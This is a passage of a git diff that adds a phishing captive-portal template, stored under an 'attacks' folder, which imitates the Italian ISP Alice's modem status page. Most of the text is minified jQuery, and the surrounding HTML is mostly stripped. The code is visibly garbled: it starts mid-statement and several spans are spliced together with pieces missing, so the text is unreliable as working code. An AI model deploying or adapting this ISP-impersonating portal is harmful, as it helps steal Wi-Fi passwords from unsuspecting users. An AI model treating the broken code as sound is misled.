0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),o=n.event.special[q]||{},e||!o.trigger||o.trigger.apply(d,c)!==!1)){if(!e&&!o.noBubble&&!n.isWindow(d)){for(i=o.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||l)&&p.push(h.defaultView||h.parentWindow||a)}f=0;while((g=p[f++])&&!b.isPropagationStopped())b.type=f>1?i:o.bindType||q,m=(L.get(g,"events")||{})[b.type]&&L.get(g,"handle"),m&&m.apply(g,c),m=k&&g[k],m&&m.apply&&n.acceptData(g)&&(b.result=m.apply(g,c),b.result===!1&&b.preventDefault());return b.type=q,e||b.isDefaultPrevented()||o._default&&o._default.apply(p.pop(),c)!==!1||!n.acceptData(d)||k&&n.isFunction(d[q])&&!n.isWindow(d)&&(h=d[k],h&&(d[k]=null),n.event.triggered=q,d[q](),n.event.triggered=void 0,h&&(d[k]=h)),b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(L.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(g.namespace))&&(a.handleObj=g,a.data=g.data,e=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(a.result=e)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!==this;i=i.parentNode||this)if(i.disabled!==!0||"click"!==a.type){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>=0:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,ba=/<([\w:]+)/,ca=/<|&#?\w+;/,da=/<(?:script|style|link)/i,ea=/checked\s*(?:[^=]|=\s*.checked.)/i,fa=/^$|\/(?:java|ecma)script/i,ga=/^true\/(.*)/,ha=/^\s*\s*$/g,ia={option:[1,""],thead:[1,"","
      "],col:[2,"","
      "],tr:[2,"","
      "],td:[3,"","
      "],_default:[0,"",""]};ia.optgroup=ia.option,ia.tbody=ia.tfoot=ia.colgroup=ia.caption=ia.thead,ia.th=ia.td;function ja(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function ka(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function la(a){var b=ga.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function ma(a,b){for(var c=0,d=a.length;d>c;c++)L.set(a[c],"globalEval",!b||L.get(b[c],"globalEval"))}function na(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(L.hasData(a)&&(f=L.access(a),g=L.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}M.hasData(a)&&(h=M.access(a),i=n.extend({},h),M.set(b,i))}}function oa(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||"*"):a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function pa(a,b){var c=b.nodeName.toLowerCase();"input"===c&&T.test(a.type)?b.checked=a.checked:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}n.extend({clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=oa(h),f=oa(a),d=0,e=f.length;e>d;d++)pa(f[d],g[d]);if(b)if(c)for(f=f||oa(a),g=g||oa(h),d=0,e=f.length;e>d;d++)na(f[d],g[d]);else na(a,h);return g=oa(h,"script"),g.length>0&&ma(g,!i&&oa(a,"script")),h},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k=b.createDocumentFragment(),l=[],m=0,o=a.length;o>m;m++)if(e=a[m],e||0===e)if("object"===n.type(e))n.merge(l,e.nodeType?[e]:e);else if(ca.test(e)){f=f||k.appendChild(b.createElement("div")),g=(ba.exec(e)||["",""])[1].toLowerCase(),h=ia[g]||ia._default,f.innerHTML=h[1]+e.replace(aa,"<$1>")+h[2],j=h[0];while(j--)f=f.lastChild;n.merge(l,f.childNodes),f=k.firstChild,f.textContent=""}else l.push(b.createTextNode(e));k.textContent="",m=0;while(e=l[m++])if((!d||-1===n.inArray(e,d))&&(i=n.contains(e.ownerDocument,e),f=oa(k.appendChild(e),"script"),i&&ma(f),c)){j=0;while(e=f[j++])fa.test(e.type||"")&&c.push(e)}return k},cleanData:function(a){for(var b,c,d,e,f=n.event.special,g=0;void 0!==(c=a[g]);g++){if(n.acceptData(c)&&(e=c[L.expando],e&&(b=L.cache[e]))){if(b.events)for(d in b.events)f[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);L.cache[e]&&delete L.cache[e]}delete M.cache[c[M.expando]]}}}),n.fn.extend({text:function(a){return J(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&(this.textContent=a)})},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(oa(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&ma(oa(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(oa(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return J(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!da.test(a)&&!ia[(ba.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(aa,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(oa(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(oa(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,m=this,o=l-1,p=a[0],q=n.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&ea.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(c=n.buildFragment(a,this[0].ownerDocument,!1,this),d=c.firstChild,1===c.childNodes.length&&(c=d),d)){for(f=n.map(oa(c,"script"),ka),g=f.length;l>j;j++)h=c,j!==o&&(h=n.clone(h,!0,!0),g&&n.merge(f,oa(h,"script"))),b.call(this[j],h,j);if(g)for(i=f[f.length-1].ownerDocument,n.map(f,la),j=0;g>j;j++)h=f[j],fa.test(h.type||"")&&!L.access(h,"globalEval")&&n.contains(i,h)&&(h.src?n._evalUrl&&n._evalUrl(h.src):n.globalEval(h.textContent.replace(ha,"")))}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),g=e.length-1,h=0;g>=h;h++)c=h===g?this:this.clone(!0),n(e[h])[b](c),f.apply(d,c.get());return this.pushStack(d)}});var qa,ra={};function sa(b,c){var d,e=n(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:n.css(e[0],"display");return e.detach(),f}function ta(a){var b=l,c=ra[a];return c||(c=sa(a,b),"none"!==c&&c||(qa=(qa||n(" + + +
      +

      Standard

      Stato Modem Stato Connessione Stato Servizi LAN + Wi-Fi + Dettagli Modem Statistiche +
      + +
      + + + + diff --git a/attacks/Captive Portal/sites/Alice_it.portal/js/jquery-2.1.4.min.js b/attacks/Captive Portal/sites/Alice_it.portal/js/jquery-2.1.4.min.js new file mode 100644 index 0000000..49990d6 --- /dev/null +++ b/attacks/Captive Portal/sites/Alice_it.portal/js/jquery-2.1.4.min.js @@ -0,0 +1,4 @@ +/*! jQuery v2.1.4 | (c) 2005, 2015 jQuery Foundation, Inc. | jquery.org/license */ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)+1>=0},isPlainObject:function(a){return"object"!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,"isPrototypeOf")?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=l.createElement("script"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b="length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N=M.replace("w","w#"),O="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+N+"))|)"+L+"*\\]",P=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+O+")*)|.*)\\)|)",Q=new RegExp(L+"+","g"),R=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),S=new RegExp("^"+L+"*,"+L+"*"),T=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),U=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),V=new RegExp(P),W=new RegExp("^"+N+"$"),X={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,aa=/[+~]/,ba=/'|\\/g,ca=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),da=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ea=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(fa){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],k=b.nodeType,"string"!=typeof a||!a||1!==k&&9!==k&&11!==k)return d;if(!e&&p){if(11!==k&&(f=_.exec(a)))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(ba,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+ra(o[l]);w=aa.test(a)&&pa(b.parentNode)||b,x=o.join(",")}if(x)try{return H.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=g.documentElement,e=g.defaultView,e&&e!==e.top&&(e.addEventListener?e.addEventListener("unload",ea,!1):e.attachEvent&&e.attachEvent("onunload",ea)),p=!f(g),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(g.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(g.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!g.getElementsByName||!g.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(g.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){var b=g.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===g||a.ownerDocument===v&&t(v,a)?-1:b===g||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,h=[a],i=[b];if(!e||!f)return a===g?-1:b===g?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?la(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},g):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ca,da),a[3]=(a[3]||a[4]||a[5]||"").replace(ca,da),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ca,da).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(Q," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(ca,da),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return W.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(ca,da).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:oa(function(){return[0]}),last:oa(function(a,b){return[b-1]}),eq:oa(function(a,b,c){return[0>c?c+b:c]}),even:oa(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:oa(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:oa(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:oa(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function sa(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return 